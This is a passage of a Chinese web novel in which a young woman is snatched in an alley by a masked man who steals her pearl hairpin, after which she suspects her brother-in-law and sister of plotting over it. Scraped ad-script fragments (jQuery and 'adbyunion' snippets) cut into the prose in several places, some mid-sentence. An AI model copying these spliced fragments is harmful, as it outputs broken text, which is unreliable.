慕夏和鲍管鸣辞行去了鲁村,慕喻晚跟在厉青石后头慢吞吞上了画船,早有下人在船板上恭敬迎接他们,厉青石感叹:“沈国公真是礼数周到之人啊。 () { $(''.inform'').remove(); $(''#content'').append('' ” 下人在一旁微笑:“大人在顶楼恭候多时了。” 这时候,不远处湖面“扑通”一声,岸边传来人惊呼的声音,“有人落水了!” 那人本来在一艘游船上,人多拥挤,他在船边不小心失足落水,船上和岸边的人都在为他呼救。他在水里挣扎,结果开始还能看到人影,渐渐只露出一双手一颗头,慢慢水面上只余下一串泡泡。 船上众多游客无人下水去救人,初春的湖水尚有余寒,况且花月湖水深,落水之处离着岸边有一段距离,谁愿意冒着危险下水救陌生人? 慕喻晚也替那个人着急,她也是个旱鸭子,身边的厉青石早已经按捺不住,他从船边“扑通”入水,一道深蓝色身影在水中游向不远处的游船。 慕喻晚扶着船桅,焦急地看着那道身影,所幸厉青石水性不错,不久他顺利游到落水之人的身边,将人拉到了近处的游船上,厉青石上传后浑身湿漉漉的,他站在船边向慕喻晚挥手,表示他尚且安好无须担心。 慕喻晚松了口气,身旁的下人对她道:“厉公子心肠真好。” 慕喻晚点头,“我也这么觉得。” 她现在只一个人在这画船之上,可是画船已经开动离开岸边了,她也没办法下船去,只好跟着下人走到船楼里头,走上楼梯到了最高层,最高层是一整层打通了的空间,几根大柱子撑着屋顶,四面都是大幅的雕窗,墙边摆着的梅瓶、兰花盆栽数不胜数,还有砂石布置而成的枯山水。 沈秋珏坐一扇雕窗旁的八仙椅上,闭目养神,看到她来了,抬头双眸含着笑意看她,“只隔了这么几日,不会把我忘了吧?” 慕喻晚站定,行礼道:“不敢忘记沈大人的威名,大宛百姓谁人不挂念沈帅的恩情?” 沈秋珏往旁边抬了抬下巴,示意她坐下来说话,“不过是隔了三日,怎么觉得你胆子大了许多?” 慕喻晚想着这里站着的都是他调教出来的心腹,不会把这里的情形往外说,沈秋珏让她坐下,那她便坐下。 她大大方方地坐在八仙椅的另一侧,“沈大人怎么会突然想到邀请我来船上?” 沈秋珏使了个眼色,便有容貌姣美的丫鬟端上来一盘精致、还带着热气的糕点,想来是刚刚出炉的。他没有回答慕喻晚的话,而是问:“你对厉青石的印象怎么样?” 慕喻晚真是搞不懂沈秋珏的举动,这位大宛朝的将星也不可谓不战功赫赫有勇有谋,就是每每相处的时候让她看不太透,不过据说这也是他的风格,传闻中他的心思就高深莫测。 慕喻晚决定如实回答:“他很诚实,也很可靠。” 这时候下人上来禀报:“大人,厉公子划着小船到船舷,说要登船。” 慕喻晚一惊,这个厉青石刚才不是救人去了?他救上人到了游船上,按理说应该随着游船而行,没想到,竟然找了张小船又回来了吗?不过,确实是他的风格,他是如此的人。 沈秋珏吩咐下去:“让他上来。” 18. 第 18 章 厉青石驾着小舟,从船舷上了沈秋珏的画船,他浑身湿漉漉的,水滴不断沿着头发、衣服往下滴在铺了羊毛毯的船板上。 厉青石没进来前,慕喻晚已经起身在一旁候着,厉青石进来向沈秋珏行了礼。沈秋珏颔首示意,吩咐左右道:“厉都尉此乃义举也,他湿了衣衫,你们带他去二楼换一身新的。” 厉青石还没说出拒绝的话,那两名属下已经分别站在他一左一右,其中一名下属做了请的手势:“厉公子请随我来。”厉青石只好随他去。 慕喻晚趁机道:“湖光山色,春景怡人,如果沈大人允许的话,小女也想出去到船头望风景。” 沈秋珏起身:“我引姑娘去。” 慕喻晚没法拒绝,只能由他引着到外头的露台,船已经驶离岸边很远,此处只能看到身后烟波里燕京的楼房,视野尽头依旧是淡青色的远山,近处是不断放大的湖心岛,早春的阳光温暖又不晒人。 沈秋珏扶着栏杆,转头向她,“姑娘今天戴的珠钗,好似和往常打扮的风格不太相符,是什么人送的吗?” 这支钗子就是哥哥送的那一支,他那天说特意去水钿间买的,价格应当相当昂贵,她往常从未佩戴过珍贵的首饰,只将寻常的绒花流苏青石作为点缀,如今也是沾了哥哥的光。 沈秋珏还会在意女孩子家的头饰变化?再漂亮珍贵,也就是头上多几颗珠子而已,要是其他姑娘突然多戴了一样小首饰慕喻晚不一定看得出来,何况沈秋珏是个男人。 她想起沈秋珏不近女色的传闻,不是说他从亡妻故去后十几年鳏居一人?清心寡欲,洁身自好,怎么会对女孩子的东西这么敏感? 眼前的湖心岛越来越近,古亭上头前朝书法家题写的“湖心亭”三个大字变得清晰可见。 “嗯,我想挺好看的,今天出门就戴上了。” 沈秋珏若有所思道:“那看来不是厉都尉送的了?原来是慕夏啊。” 慕喻晚偏头:“啊?” 沈秋珏看她,笑道:“你与厉都尉今日第一次相见,自是不可能出门之前佩戴上。慕夏前些日子得了圣上的赏赐,家中又无妻室,是你唯一的兄长,自然是最可能送这个礼物的人。他挑得很好,珍珠很配你。” 慕喻晚摸了摸珠子,想着只有说花朵衬人、衣衫颜色衬人,说到相配那就是发型相配、衣裳样式相配的,哪有说珍珠这种俗物与人很相配的?在中原文化里头,珍珠和黄白之物意义相近,更有“珠光宝气”的词句,难道他是在借机讥讽自己很俗气? 慕喻晚想了想,回应:“珍珠圆润光明,寓意极好,加之送礼物之人的心意,配不配却不敢谈。” 沈秋珏微讶,“你不会以为我是在贬讽你?”看到慕喻晚移开眼神不说话,他解释道:“世人有道珠光宝气,我却不以为然,若是珍宝搭配得当并且人本身撑得住,难道不是雍容富丽之象?再说珍珠是洁白之物,姑娘是品性洁净之人,怎么我说相配倒是错的了?” 慕喻晚觉得不好意思,还好在这时候船身重重一顿,沈秋珏扶了她一下,她不必思考如何回答这句话。船停在湖心岛边上,抛了锚,沈秋珏邀请慕喻晚下船去湖心亭闲坐片刻,这时候厉青石也换好衣裳了。 他们一同去了湖心亭,却看到了熟人,裴度和赵非勒在此处歇脚,这两个人看到沈秋珏行了大礼,一个比一个恭维。赵非勒看到慕喻晚从沈秋珏的身后出来,吓了一大跳。慕喻晚并没有见过赵非勒,看到他与裴度在一起,眼神又向自己的脸上不住打量,心生不悦。 沈秋珏看向赵非勒,又看向岛边的另一座画舫,道:“湖上好热闹,赵大人,大理寺的卷宗近来可仍然是堆积如山?我上次去可看到堆压了好些。” 慕喻晚心里咯噔,大理寺的赵大人,还和裴度一起,那不就是赵非勒?真是冤家路窄啊。 赵非勒呵呵笑道:“沈大人提醒的是,大理寺每天移送过来的案件数不胜数,大理寺上下不敢不兢兢业业,勤于公务。” 慕喻晚腹诽,你到花月湖上来勤于公务的? 沈秋珏背着手,出声:“虽说大理寺上下有上百人,但若是上官利用职权谋私,敷衍搪塞公务,腐败风气会殃及所有人。” 慕喻晚看了沈秋珏一眼。 赵非勒和裴度的脸色变了变,赵非勒佯装大义凛然道:“怎么可能,大理寺上下齐心协力,绝无贪赃枉法之事。” 沈秋珏:“这样最好,身为朝廷的官员理应互相提携,虽然举贤不避亲,但是至于徇私枉法,结党营私,那也是圣上最为厌恶的,赵大人你说是吧?” 赵非勒这回明显是慌了神,点头连连称是。裴度觉得再待下去可能不利于他们,于是找了个借口说要去后山看看,拉上赵非勒离开了湖心亭,爬上小山走远了。 慕喻晚看到那两个人走了,松了口气,在湖心亭看看远处的湖景,此时变得惬意起来。厉青石换了身黑色的衣服,尽显高大干练,旁边的沈秋珏也穿得一身黑,沈秋珏比厉青石多了一些贵气和内敛,这两个人长得都不差,慕喻晚赏景时也一同赏人了。 日头渐高,气温升起,正午时分的太阳慕喻晚不太晒得住,正巧沈秋珏说自己下午有些事要做,慕喻晚和厉青石跟着他上画船,一刻钟后到了岸边,分手时沈秋珏送了她一把伞,淡青色的伞面透明琉璃的伞骨。 慕喻晚接过这伞,发现有点吃力,需要两只手抱着,沈秋珏向她拱手:“抱歉,在下公务繁忙,无法相送姑娘,这件事劳烦厉公子了,这把伞为姑娘遮遮太阳。” 慕喻晚和厉青石与他告别,厉青石拿过她手上的琉璃伞,撑开,“这伞姑娘拿着吃力。” 慕喻晚回家的路线,有一条是大路,大路较远,还有一条小路,小路穿过小巷子就到了,但是这条巷子狭窄少有人迹。 慕喻晚急着回家休息,又是光天化日有人陪着,便引着厉青石走了小路,因为这条路逼仄,他们两个人站位一前一后错开,因为此处阴凉厉青石收起了伞。 墙壁上青砖覆盖着斑驳的绿痕,绿痕下露出的砖因为潮湿变得颜色很深,砖头的青色变成了棕黑色,脚下的石板高高低低,处处透露出久无人迹的味道。头顶院墙两边不时伸出来的树枝,在地上投下鬼魅般的婆娑树影,有斑鸠在树枝上栖息。 慕喻晚想着这不是条近路吗?怎么越走越觉得远。 她步伐较小,于是跟在厉青石的后头,在拐过 () { $(''.inform'').remove(); $(''#content'').append('' 一个弯道的时候,意外冷不丁地来临了,她的肩膀上搭了一只手。 慕喻晚判断出来那不是错觉后,本能地想呼喊前面的厉青石,“厉”字发出半个音,结果脑后遭受一遭重击,她失去了意识。 厉青石听到这声音回头,那个黑色影子携着慕喻晚已经跑出了几丈远,厉青石立刻脚尖点地施展功夫追了过去。 黑衣人也有些功夫,十分神速,厉青石的轻功已经不低,但是两个人刚开始差了许长一截,追人那就要比逃跑更快才行,饶是如此厉青石几次眼见着要赶上,那黑衣人施展脚步极速往前又屡屡再次甩开了他。 偏偏他并不往大路跑,挟持者应当是非常熟悉这一片的地形,他穿过小巷来到一条小路,他将茶馆的桌椅全部踹到路中间拦住厉青石,厉青石在后头避开又耽误了几瞬,拐了几个拐弯后他彻底甩开厉青石消失不见了。 慕喻晚悠悠转醒,发现耳边的风一直在呼啸,有人带着他在飞奔,那个人穿着夜行衣脸上用黑布蒙面,她跟本看不到这人的面目,她大喊道:“厉公子救我!”呼喊声随风飘去,消失在身后的空气中,没有一点回应。 黑衣人带着她来到一座荒井处停下,发现她已经醒了。 慕喻晚见他停下慌了神,她告诉自己这不是她第一次遇到歹徒,深呼吸几下后稍稍冷静了一点,“你是什么人?你想怎么样?” 黑衣人盯着她脸,慕喻晚紧张了下,黑衣人道:“臭丫头,刚才那位是你的情郎吧?” 慕喻晚心脏砰砰直跳,脑子却异常地冷静,这声音给了她熟悉的感觉,她一时间回想不起来和谁的像,她回答道:“我兄长不会放过你的。” 黑衣人桀桀怪笑,“那看来不是了,可怜的小伙子。” 黑衣人逼近她的身体,慕喻晚往后躲,她身后被荒井的围沿挡住了去路。她迅速伸手拔头上的钗子,只要取下来刺入他的身体,至少能延缓他的行动,结果还没碰到钗子对方就已经捏住了她的手腕。 慕喻晚心中一惊,结果黑衣人抢先一步从她头上取下珠钗,慕喻晚吓得脸都白了。 他拿到珠钗,却没有再做什么,只是拿着珠钗在眼前看,眼中似有疯狂的神色,“终于被我拿到了!师兄师弟,枉费我们斗了这么些年。” 他脸上极度疯狂的眼神,话语也是颤抖痴狂,已经没有理智了,这副模样让慕喻晚感到害怕,她垂下头去不看他的脸。 黑衣人穿的夜行衣似乎有些不合身,衣服下端露出一点点其他颜色,慕喻晚定睛一看,结果被吓了一跳,这不是上午在湖心岛看见裴度穿的衣服料子? 裴度当时和赵非勒同在湖心亭里,一个穿的蓝色一个穿的月白色,这湖蓝绸子她绝不会看错,虽然这绸子对于官宦人家不能算什么很珍贵的料子,她不能依次判定这人就是裴度。 可是,刚刚黑衣人说话的语气声色,也和裴度非常像,虽然能看出尽力模仿其他人的说话,但是仍然依然有破绽。 黑衣人举着珠钗对太阳细看,没有去管慕喻晚的动作。 不一会儿,附近响起急匆匆的脚步声,是沈秋珏在喊她的名字。慕喻晚想回应,结果一抬头,对上黑衣人那漆黑的瞳孔。 19. 第 19 章 慕喻晚发现自己失声了,黑衣人阴森地笑着。 她使劲冷静下来,勉强道:“我可以给你钱。” 黑衣人古怪地冷嗤一声,“乳臭未干的臭丫头。” 慕喻晚这次听清了,就是裴度的声音,如果她没有从衣料上推断身份,陡然听到对方声音也认不出来。 慕喻晚听见脚步声渐近,所幸黑衣人还没有动手灭口的意思,她又道:“今天的事我不会说出去的,你杀了我反而官府会追究。” 黑衣人将珠钗藏进怀里,侧耳听了听,仿佛是在听不远处的脚步声,“小姑娘说得还有几分道理。” 他看了几眼慕喻晚,往后退了几步,脚尖点地身形瞬间窜了出去。 这就走了?慕喻晚回过神来已经看不到他的身影了。眨眼间沈秋珏出现,他带人将这里围了起来,扶起慕喻晚,“怎么样?” 慕喻晚浑身发软,他从手下那里结果一个水壶递给她,慕喻晚喝了点温水,感到舒缓了一些,她想起方才看到那人黑色夜行衣下的衣料,犹豫了一下要不要说出来。 沈秋珏注意到她的神色,问她:“你想说什么?” 慕喻晚思忖道:“我的钗子被他拿走了。” 沈秋珏“哦”了一声,他似乎并不惊讶,慕喻晚感到这件事处处透露着奇怪的地方,她问:“大人是本来就在这附近吗?我和厉公子一起走,他都追丢了。” 沈秋珏指了指近处的村庄,“我在这地方调查案子,刚好有附近的村民看见一个黑衣人挟持人质逃跑,我于是就带人追拿。” 这时候厉青石也气喘吁吁地奔来了,他看到慕喻晚于是松了口气,扶着膝盖平复过激使用的身体。 慕喻晚后颈枕着沈秋珏的手臂,那种头痛感在梅花的香气中渐渐淡下去,慕喻晚试着站起身,被沈秋珏按住肩膀,他不容置疑道:“你现在惊慌过度,需要歇息片刻。” 慕喻晚只好继续半躺着,沈秋珏在她身侧,厉青石跑到慕喻晚的身边问她的情况,她摇头说自己没事。厉青石一拳头捶在荒井旁边石碓上,激动道:“还好慕姑娘没发生意外。” 慕喻晚谢过他,突然问沈秋珏:“沈大人,抓我的人,居然只拿走了珠钗,没有想杀人灭口的意思。” 沈秋珏按压她的穴位,道:“大概是个见钱眼开不要命之辈,见财起意,没有动其他的念头。” 慕喻晚动了动嘴唇,终究还是把话咽了下去。 沈秋珏转头提醒厉青石,“为了慕姑娘的名誉着想,我想今天发生的事谁都不要说出去。” 厉青石点头,颔首:“还是沈国公想得周到,确实是应该这样。” 慕喻晚休息了一会儿,就要起来,这次沈秋珏没有拦她,她辞行的时候,厉青石主动提出:“慕姑娘,让我再送你一次。” 慕喻晚想着厉青石这个人,如果说不让他送他肯定自责,她点了点头,这时候沈秋珏也提出:“歹徒有去而复返的可能,我派两个人护送你回去。” 慕喻晚连连摆手,“这不行,排场太大了别人会起疑的。” 沈秋珏使了个眼色,有手下领着两个清丽冷漠模样的女子走过来,还没等慕喻晚问出声,沈秋珏笑道:“这两名女子是训练有素的侍女,都有功夫在身,以丫鬟的身份侍奉在你身旁,想来不会引人注目。” 慕喻晚还是拒绝,沈秋珏悠悠道:“慕姑娘觉得她们不讨你喜欢,我可以再换两个人来。” 慕喻晚看了那两个面无表情的女子一眼,“也不是,我怕她们当我的丫鬟是屈才了,武功高强普通人虽然看不出来,但是同样接受过训练的人一眼就能看出来。我身旁也一直没有太多下人,不习惯。” “这个不用担心,别看她们现在这样,一旦伪装起来别人不容易看破身份,你身边刚好能添置一些人。对了,她们还没有名字,只有代号,你可以照你家里的规矩,给她们取个名字。” 厉青石在一旁看着,他觉得沈秋珏对慕姑娘也很好,而且方才慕姑娘靠在他手上也十分信任的样子,厉青石怔愣了会儿甩去这些多余的杂念,能保证慕姑娘的安全就是最重要的事。 慕喻晚只好收下这两个女暗卫,她们穿着相同颜色制式的衣服,慕喻晚以为她们是姐妹,想了想给她们取命叫朝闻和栖霞。 沈秋珏:“好名字。” 慕喻晚告别了沈秋珏,要回家的时候沈秋珏叫住厉青石,他说有点事情要让厉青石帮忙,厉青石只好留下了。 厉青石问沈秋珏:“沈国公您这里人手如此之多,您还需要我做什么?” 沈秋珏:“无事,陪我喝杯茶?” 慕喻晚回到家后,顾夫人看到她领着两个丫鬟问她怎么回事,慕喻晚只好撒谎说路边看到有人卖身葬父,所以花了点钱赎回这对姐妹,顾夫人埋怨她乱花钱,慕喻晚哀求道花不了很多,顾夫人思前想后最终同意。 慕喻晚领着丫鬟回房间,结果半路上遇到裴度在院子里路过,她看到裴度吓了一跳。 裴度莫名其妙:“怎么青天白日跟见了鬼一样?” 慕喻晚低头看他的衣服,湖蓝绸子,和记忆中的料子一样,慕喻晚的感觉难以言喻,她抬头细细观察裴度的表情,他眼珠左右转了一下似乎有什么鬼心思。 裴度先是问道:“姨妹这两个丫鬟看着面生,是新添的吗?” 慕喻晚没说实话,“哥哥看我院子空荡,所以才给我添了俩丫鬟,姐夫没见过是正常的。” 裴度点了头,“你以后嫁人也是需要陪嫁丫鬟的,多几个在婆家也有底气一些。” 慕喻晚:“姐夫没事我回房去了,十五要去寺里烧香,我还要抄经书。” 裴度拦住她,慕喻晚侧身疑惑看了他一眼:“姐夫还有事吗?” 裴度视线网上移去:“你今天白天在湖心岛,头上戴的珍珠钗子,怎么这会儿不见了?” 慕喻晚眼皮跳了跳,她反问:“姐夫不知道吗?” 裴度突然更加莫名其妙道:“我上哪知道去?” “哦,姐夫不知道吗,我在湖心岛上丢了钗子,我刚才和母亲说了,以为她会告诉姐姐的,便以为你也知道。”慕喻晚迅速圆话,并且注意观察裴度的反应。 结果裴度的反应十分懊恼,他责怪道:“怎么弄丢了,这么不小心。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >慕喻晚敏锐察觉他甚至都没有问是怎么丢的,头饰都很难丢的,裴度是结了婚的男人应该知道这一点。 “怎么了吗?这钗子?” 裴度恢复了神色,假意解释道:“是这样的,你今天出门的时候你姐姐也看到了,她很喜欢那只珠钗,她托我问你,你这支钗子在哪里买的,她也想要一个。” 明明方才提到这支钗子,是说在湖心岛看到她戴了,现在却提到是姐姐说的,如果一开始就想的是照姐姐的意思买钗子,那么按照人的潜意识,最开始就会说“你姐姐看到你戴的珍珠钗子”才对。 慕喻晚想到白天遇到的那个黑衣人,明明是白天挟持她,却要穿夜行衣,假装掩人耳目却实际上故意惹人注意?而且抓了她后,只取了一只钗子没有要害她的意思。 再退一万步说,慕知晨要问她钗子在哪里买的,何必来问她,那天在秋霞阁她亲耳听见慕知晨说看见慕夏在水钿间给她买珠钗。 裴度这些话说明了,他根本没有和慕知晨交流过钗子的事情,什么慕知晨想要一个完全是假话,他分明在试探慕喻晚会不会说出珠钗的下落,他在害怕自己看出黑衣人是他。 可是没道理啊,裴度再怎么也是朝廷的官员,为了一只珠钗甘冒风险干出挟持她的事情,这说不过去。 没来由的,她觉得头很疼,暗中仿佛有人在算计她,想起身后沈秋珏派给她的两个暗卫,她又顿生了底气。 这珠钗之事不能扯出慕夏来,这钗子指不定有什么故事,若是说是哥哥送的也许就会把祸水引到他身上了。 就在她思忖间,慕夏却端着一个木匣子来了,慕夏觉得奇怪:“妹夫,晚儿,你们两个杵在院子里干什么?” 慕喻晚惊了神,回头看见是慕夏松了口气,她感到裴度的目光也一直暗中在她身上逡巡。 慕夏走过来,将木盒捧给她看,那是一只红木雕花的小匣子,没等她开口问,慕夏就嗔怪她:“哎呀,你怎么这么大意把我送你的珠钗落在画舫上了?这不,沈大人派我送还给你。” 慕喻晚瞪大双眼,思考了一会儿,装作不好意思地道:“是吗,我还以为掉在岛上了呢。”她接过木匣子,打开,里头赫然放着她那支珠钗,金色钗身六颗珍珠,顶上那颗珍珠最为圆满光明,和之前的一模一样。 这支钗子哪里拿回来的,难道沈秋珏抓到了黑衣人抢回了珠钗?可是裴度不就在这里站着嘛?他分毫无伤啊。 裴度凑过头来看,慕喻晚瞬间把木匣子关上,但是饶是惊鸿一瞥裴度也看见了里面躺着的珠钗,他笑道:“姨妹真不够客气,我又不抢你的,只是问问在哪买的,至于这么三缄其口的吗?” 慕喻晚听到他他那个“抢”字,眼皮又跳了跳,慕夏在旁边解释:“啊,妹夫你错怪晚儿了,这支钗子是我送给她的,在哪里买的她哪知道?怎么妹夫突然问起这个了?” 慕喻晚心中砰砰直跳,慕夏还不知道这些事,等会儿要寻个单独见面的机会跟他说,叫他把古怪之处告诉沈秋珏。 然而裴度已经知晓了一大半,他又用慕知晨想要的理由撒谎,慕夏坦然说出他是在水钿间买的。 20. 第 20 章 慕喻晚想不通珠钗哪来的,问慕夏:“哥,沈大人给你钗子的时候,可有曾说什么话?” 慕夏想了想,摇头,“只说把钗子还给你。” 慕喻晚捧着木匣,想下次有机会去问问,珍珠这种东西很难找到一样的,越无暇的珠子越难。 “哦,他当时还提起贡品盗窃的案子,说京中最近大小奇案愈发多了,让你出门在外要小心。” 慕喻晚听闻后,第一个想法是觉得沈秋珏是提醒她在外头也要带上朝闻和栖霞。 旁边的裴度凛然问道:“贡品失窃,这么大的事情,为什么大理寺尚无消息?” 慕夏看了他一眼,“因为这是宫中这几日才发现的,户部立刻去自查了。” 慕喻晚也觉得最近不太平,十五去寺庙上香还是把栖霞和朝闻带上比较好。 她谢过慕夏后,回到自己房间,秋雨立刻凑了上来问她白天相看可否满意:“小姐,厉公子长什么样?说是个武夫,我看八成五大三粗膀大腰圆的吧?” 慕喻晚回想厉青石的模样,笑道:“谁告诉你武夫一定是那样,只不过体格健壮了些,也还好。” 秋雨神秘兮兮地问:“那你看中他了?” “去打热水来,我游了一天,出了汗不舒服。” 秋雨悻悻地去打热水,打了来,慕喻晚在屏风后沐浴。 慕喻晚靠在澡盆里,将木匣在手中把玩,取出珠钗她细细察看,竟然真被她发现了一点不一样的地方,这支钗子末梢更为尖细,原先那支末端更为圆润,不仔细看看不出这点区别,而且人的注意力首先会放在最华丽的那颗珍珠上头。 慕喻晚将木盒敲敲打打,竟然真的发现隔板里夹着一张纸,她“啊”了一声,红色的木板里白色的纸很明显,她先前居然没发现。 外头秋雨立时应声道:“姑娘怎么了,是水烫了?” 慕喻晚回言:“没事,我看到只虫子,已经爬走了。” 她把纸抽出来,上面写着:慕姑娘启,白日姑娘遗失珠钗一支,皆因为在下保护不力,特于府库寻来珠钗一支送还。因今日事妨害姑娘名誉,不必向他人陈说遗失之事。 慕喻晚低声道:“原来是这样。” 但是这支钗子太贵重了,她要找个机会还给沈秋珏,慕夏送给她那是亲兄妹间的往来,沈秋珏和她并无血缘关系。 沐浴完毕,晚间顾夫人和慕知晨一同来找她,顾夫人与她先唠了些家常,又问她:“听说慕夏今日安排你和厉青石相见,你对他印象怎么样?” 慕喻晚望天,“怎么都来关心,我与他才见一面而已。” 顾夫人拍她的手道:“傻孩子,寻常人家的姑娘只要媒妁之言便可定下婚事,哪有那么多事事如意的郎君等着你一一认识,看准了可不能拖太久。” 慕喻晚沉默。 顾夫人继续苦口婆心:“你这样的最容易高不成低不就,等再拖些时间就为时晚矣了,我听慕夏说他信得过厉青石的人品,想必这是个是容貌品行都不错的男子,再加上又有官职在身,何愁以后日子不好过?” 慕喻晚点点头,看了眼慕知晨,她和裴度之前想拿自己送给赵非勒做人情,这次倒没有这个意思。不知道慕知晨知不知道裴度挟持了她的事?夫妻关系紧密,荣辱与共,她知道了会怎么想? 慕喻晚跟母亲承诺自己会好好考虑的,顾夫人欣慰点头离开,慕知晨眼珠滴溜溜地道:“我留下来和妹妹说些体己话。” 顾夫人走后,慕喻晚叫来朝闻上了两碟茶,她定了定神问:“姐姐要说什么?” 慕知晨看了下朝闻,又转向慕喻晚:“我听说你买了两个丫鬟?” “是有这事。” 慕知晨循循诱导:“那你手头应当很紧张吧?” 慕喻晚当然不好说出丫鬟来历的实情,只是估摸着她的心思:“姐姐要问什么?” 慕知晨放下茶碟,“是这样的,我今天路过水钿间,看到他们贴出高价回购珍珠饰品的告示,想着你不是有一只珍珠钗子,可以送到水钿间去卖了。我听裴度说,你的钗子就是慕夏从那里买回来的?” 慕喻晚沉默了,这句话几乎可以立时判断是假的。 慕知晨早就知道慕夏在水钿间给她买珍珠钗子,还用得着听裴度说? 这对夫妻,围绕着她的珠钗到底有什么不得了的执念和心思?慕喻晚搞不清楚。 她拒绝道:“那姐姐也应该听说了,这是哥哥送我的,我怎能拿他送我的礼物去换钱?” “妹妹出嫁到婆家也要带些银钱傍身的,这会儿不如先替自己考虑考虑?我我觉得这是个好路子,才来告诉你的。” 慕知晨打着为她好的幌子,出的招数却是次次阴险,慕喻晚可不会上她的当。 慕喻晚问:“姐姐可有珍珠首饰?” 慕知晨点头,“当然有。” “姐姐自己拿珍珠卖了吗?” 慕知晨踟躇道:“这个……我暂时也不缺钱用。” 慕喻晚想了下,决定试探:“我听姐夫说姐姐喜欢我这支钗子,还来找我打听在哪添置的,也想要一样的,那既然这样,我为什么要转给水钿间呢,直接出个好价给姐姐就是了。” 慕知晨竟然喜出望外,“那敢情好啊,这样,妹妹随便开个价。” 慕喻晚震惊了,是这支钗子有什么机关,里头藏着绝世秘籍吗?裴度和慕知晨竟然着迷成这样,至于吗?她就是随便试探了下,对方就上钩了。 慕喻晚觉得这些线索和对话必须要慕夏转达给沈秋珏,她不能把珠钗给出去,她道:“其实,这支钗子吧,并不是慕夏给的那一只。” 慕知晨愣了下,“什么?” “原来那一支有点褪色,我把珍珠弄下来叫人镶嵌在其他的钗子上的。” 慕知晨“哦”了声,道:“不要紧,我只是喜欢这个珍珠。” 原来关窍在珍珠上头,慕知晨摸了摸头上顶部那颗最光明璀璨的珠子,十分愧疚地道:“对不起姐姐,我原先以为姐姐只是喜欢这个款式,若是珍珠,其中有一颗珍珠我托人去寺庙里找高僧开了光的,佩戴身上祈福避邪,如果姐姐要收这支钗子,可能要把那颗珍珠换成其他的珠子,这样吧,姐姐也不用给太多请我在秋霞阁吃一顿就好啦。” 慕知晨一时拿不定主意,慕喻晚也不确定她是对哪一颗珠子执念深重,果然慕知晨勉强笑着:“其实我是看这些珍珠刚好配我的一条坠子,若是其他珠子又不相配了,既然如此,我也不好强求,妹妹歇息吧。” 慕知晨放下茶碟,走了,前后脚秋雨进来了,秋雨奇怪问慕喻晚:“小姐,她来干什么?” “不用管她。” 第二天一早,听说厉青石要登门拜访,慕喻晚从自己绣的刺绣里找出一个香囊,香囊是粉蓝色丝绸绣着荷花,她昨天听了母亲的话思考颇多,厉青石是她目前最好的考量。 顾夫人热情地招待了厉青石,她把慕喻晚叫来厅堂里,旁敲侧击迂回问厉青石对慕喻晚的印象,而厉青石每次都是“慕姑娘很好”这一句。 午饭后,母亲要慕喻晚带着厉青石在院子里转转,慕喻晚觉得自家院子左右竖直只能走十几步路,院子这头伸手摸得到对面,实在转不了多久,门外这时又有客来访。 厉青石皱了皱眉,慕喻晚没有注意到,她想着自己的绣工香囊好不好送人? 厉青石对她道:“昨天的事,真是抱歉。” 慕喻晚奇异道:“你为什么抱歉?与你何干?” 厉青石看着她,认真地道:“我与姑娘在一起,姑娘出了意外,是我保护不力。慕夏是我的兄弟,他让我护送你回家,我有义务全程护卫你的安全,可我没有做到,是我的责任。让姑娘受到惊吓,我过意不去。” 慕喻晚一时不知道说什么,她从前也没有遇到过这样赤忱的人,这么认真但不肉麻的情话她头一次从人嘴里听到,而且这个愣头青估计还不觉得这是情话。 “这都是那个歹徒穷凶极恶,见钱眼开,谁都会出点意外,谁又能时时刻刻警惕,再说你虽然厉害,但是凡人谁可以无所不能呢?实在不必为了这事自责的。” 厉青石低下头,“可是,沈大人他就可以护你的周全,我听说上次在兰月坊,也是他带人救了你。我单枪匹马,不如他能指挥千军万马。” 慕喻晚眨眨眼,神色疑惑:“可是沈大人保护的是所有百姓,我只是其中之一,你为什么要和他比?这样说,刑部、大理寺抓捕犯人,保护国中平民,你还要和刑部与大理寺的官员一一比,谁更能保护我的周全?我又不会与官府衙门谈婚论嫁。” 厉青石这样想完全是自寻苦恼嘛,但是她能理解他的性格,他这么认真尽责又遵守承诺,有这种想法也不能苛责他。 厉青石有些急切道:“那么你会因为沈大人能够保护所有百姓,觉得这样的人更可靠,更值得信赖吗?” 慕喻晚瞪大眼睛,“你今天怎么了?为什么老提他?你不会以为……?” 她不都不敢想厉青石现在是个什么想法,那可太离经叛道大逆不道了。 “你怎么会这样想,我简直不可思议。” 厉青石低下头,眼睛有点红。 正巧他们站在花树下,这是一颗她小时候栽种的梨花树,慕喻晚对厉青石道:“你在这里等一下,我去拿样东西给你看。” 厉青石慢慢点了点头,慕喻晚提着裙子转身跑进 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己房间。 那只香囊她早上放在桌子上的,她没看见,到处找了会儿,才想到秋雨打扫的时候估计又放回箱子里了,她费了些功夫才从箱子里重新取出来。 她拿着香囊回到院子里,下人和家人却炸开了锅,厉青石站在中间不知所措,一个陌生女子跪在地上拉着他的袖子不放。 慕喻晚脑子一空,下意识走过去问:“怎么了?发生什么了?” 慕夏却生气道:“厉岩,你从前怎么没告诉我你这些情债?人家姑娘追到我们慕家来了,我们家怎么这么倒霉,这件事你不解决我跟你没完。” 陌生女子眼泪汪汪,转身向着慕夏道:“公子别怪罪青石,是我不好,我执意要来的,青石他不知道。” 慕喻晚太阳穴直跳,不是吧,厉青石看着这么本分踏实可靠的人,他也去外面惹风流债吃着碗里的还想着锅里?竟然让她碰上了这种事,一连两回都是遇到这样的男人? 厉青石想把女子从地上拉起来,奈何这女子一股倔劲就是不起,当着众人面厉青石也不敢使蛮力,他焦急道:“你先起来,你跟他们说清楚,我跟你什么都没有!” 女子继续跪着,“此身除了厉公子谁也不嫁,既然你当恩人救了我,当时又许诺了我,怎么又背弃前约,始乱终弃?” 慕喻晚想要搞清楚这到底是怎么回事,厉青石和女子争吵了几个回合,她全明白了。 这女子叫作石秀梅,是普通人家的女儿,因为有几分姿色被恶霸看上,正巧厉青石经过除掉恶霸将她救出,可是石秀梅因为觉得自己被恶霸碰触便失了贞洁,她觉得自己从此嫁不了人要上吊,厉青石许诺会娶她,又怕她在村子里被人非议出什么意外,厉青石把她带到京城来,一直养在厉青石宅邸。 慕喻晚启唇,“石姑娘,你先起来吧。” 石秀梅这才款款起身,出身农家,但是人靠衣装,打扮衣貌都是京城当众时兴的款式样式,厉青石将她照料得很好。 